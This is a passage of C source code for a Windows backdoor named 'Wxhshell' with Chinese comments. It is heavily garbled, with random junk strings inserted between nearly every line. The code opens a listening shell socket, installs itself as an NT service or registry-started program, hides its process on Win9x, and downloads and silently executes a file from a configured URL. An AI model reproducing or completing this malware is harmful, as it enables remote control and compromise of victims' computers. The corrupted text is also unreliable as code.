. char procName[255]; U7]<U-.& unsigned long cbNeeded; }dd k}wga sk7rU+< if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0tW<LR-}E Pn+IJ=0Y CloseHandle(hProcess); &'huS?gA9 J~iOP if(strstr(procName,"services")) return 1; // 以服务启动 W8G9rB|T MS st return 0; // 注册表启动 b@2Cll# } &PRx,G5 F%PwIB~cy // 主模块 0HHui7Yy> int StartWxhshell(LPSTR lpCmdLine) uOG-IHuF { 43J\8WBn@ SOCKET wsl; $c@w$2 BOOL val=TRUE; 83
i1 int port=0; Z@uTkqG) struct sockaddr_in door; %qS]NC bSrRsgKvT if(wscfg.ws_autoins) Install(); B=Zl&1 lJ:M^.Em0 port=atoi(lpCmdLine); d`9W pwFU2}I if(port<=0) port=wscfg.ws_port; FpdDIa aE7u5PM WSADATA data; %ezb^O_6v if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ggm2%|?X *3_f&Y if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; e}'#Xv setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^])e[RN7?n door.sin_family = AF_INET; zd*3R+>U'> door.sin_addr.s_addr = inet_addr("127.0.0.1"); $N}/1R^?r door.sin_port = htons(port); tjZ \h= i<4>\nc if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { p{ @CoOn closesocket(wsl); mVv\bl?< return 1; G}!7tU } F-BJe] N+CXOI=6x if(listen(wsl,2) == INVALID_SOCKET) { NI5]Nz<? closesocket(wsl); -,~;qSs return 1; %s$rP } w~kHQ%A Wxhshell(wsl); ioC@n8_[G WSACleanup(); ~Na=+}.q_ a
-xW 8 return 0; "t[M'[ `C On{~St'V } gohAp ]ZzoJ7lr // 以NT服务方式启动 uQGz;F x VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) AVXX\n\_ { `y\*m]: DWORD status = 0; ds*m6#1b DWORD specificError = 0xfffffff; O^.%C`* Xh.+pJl,* serviceStatus.dwServiceType = SERVICE_WIN32; {fog<1c serviceStatus.dwCurrentState = SERVICE_START_PENDING; U/T4i# serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xT9Yes& serviceStatus.dwWin32ExitCode = 0; H-eEhI(;O serviceStatus.dwServiceSpecificExitCode = 0; u.Mqj"o\ serviceStatus.dwCheckPoint = 0; T*h!d(
serviceStatus.dwWaitHint = 0; D4< -8 ss?] hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m"lE&AM64p if (hServiceStatusHandle==0) return; UF@IBb}0 #*!+b status = GetLastError(); (Ij0AeJ# if (status!=NO_ERROR) F,*2#:Ki { 28nmQ serviceStatus.dwCurrentState = SERVICE_STOPPED; Gs[Vu@* serviceStatus.dwCheckPoint = 0; cCM
j\H@ serviceStatus.dwWaitHint = 0; UdT&cG serviceStatus.dwWin32ExitCode = status; [RAj3Fr0 serviceStatus.dwServiceSpecificExitCode = specificError; >f&xJq SetServiceStatus(hServiceStatusHandle, &serviceStatus); a
@6^8B?w; return; G/v|!}?wG } ds-
yif6 [NYj.#,oR serviceStatus.dwCurrentState = SERVICE_RUNNING; ]e^R@w serviceStatus.dwCheckPoint = 0; :
@'fpN serviceStatus.dwWaitHint = 0; ,LhEshf if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -#hK|1] } Q]< (bD.7 +"'F Be // 处理NT服务事件,比如:启动、停止 ]]>nbgGn# VOID WINAPI NTServiceHandler(DWORD fdwControl) H76E+AY { }<vvxi switch(fdwControl) Vy]A,Rn7 { B,3 t` case SERVICE_CONTROL_STOP: 9'1hjd3k serviceStatus.dwWin32ExitCode = 0; D9ANm"# serviceStatus.dwCurrentState = SERVICE_STOPPED; "$GK.MP5 serviceStatus.dwCheckPoint = 0; 5^\m`gS serviceStatus.dwWaitHint = 0; $fj])>=H { S[vRw]* SetServiceStatus(hServiceStatusHandle, &serviceStatus); JW=uK$s O } Yt -W1vl return; @4;&hP2Z: case SERVICE_CONTROL_PAUSE: @gNpJB]V serviceStatus.dwCurrentState = SERVICE_PAUSED; ~eDI$IO break; :Df)"~/mO+ case SERVICE_CONTROL_CONTINUE: x_yF|]aI! serviceStatus.dwCurrentState = SERVICE_RUNNING; A:/}` break; hQXxG/yFm case SERVICE_CONTROL_INTERROGATE: /T,zZ9= break; zVdKYs i^ }; VsEGX@;tO SetServiceStatus(hServiceStatusHandle, &serviceStatus); x8Q~VVZr } l$F_"o?&S@ l{8CISO* // 标准应用程序主函数 SaCx)8ul0 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'f 3HKn<L { \I;cZ>{u"} h-7A9: // 获取操作系统版本 't7Z] G OsIsNt=GetOsVer(); ?4,@,
ae& GetModuleFileName(NULL,ExeFile,MAX_PATH); (#oYyM] I-,>DLG // 从命令行安装 )]73S@P(= if(strpbrk(lpCmdLine,"iI")) Install(); Yt{ji TM0b-W (H // 下载执行文件 !}ilN 1> if(wscfg.ws_downexe) { 6z Ay)~ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D3y>iQd WinExec(wscfg.ws_filenam,SW_HIDE); 3)Zu[c[%'J } zO%w_7w /u=aX if(!OsIsNt) { mH)OB?+lq // 如果时win9x,隐藏进程并且设置为注册表启动 q3+I<qsAz HideProc(); G;NB\3~X StartWxhshell(lpCmdLine); AP0|z } AuAT]` else B%fU' if(StartFromService()) k52QaMKa~A // 以服务方式启动 &3I$8v|!? StartServiceCtrlDispatcher(DispatchTable); c}%es=@ else Ah (iE // 普通方式启动 X@!X6j StartWxhshell(lpCmdLine);
//<:k8 p5-<P?B return 0; `gI~|A4 }
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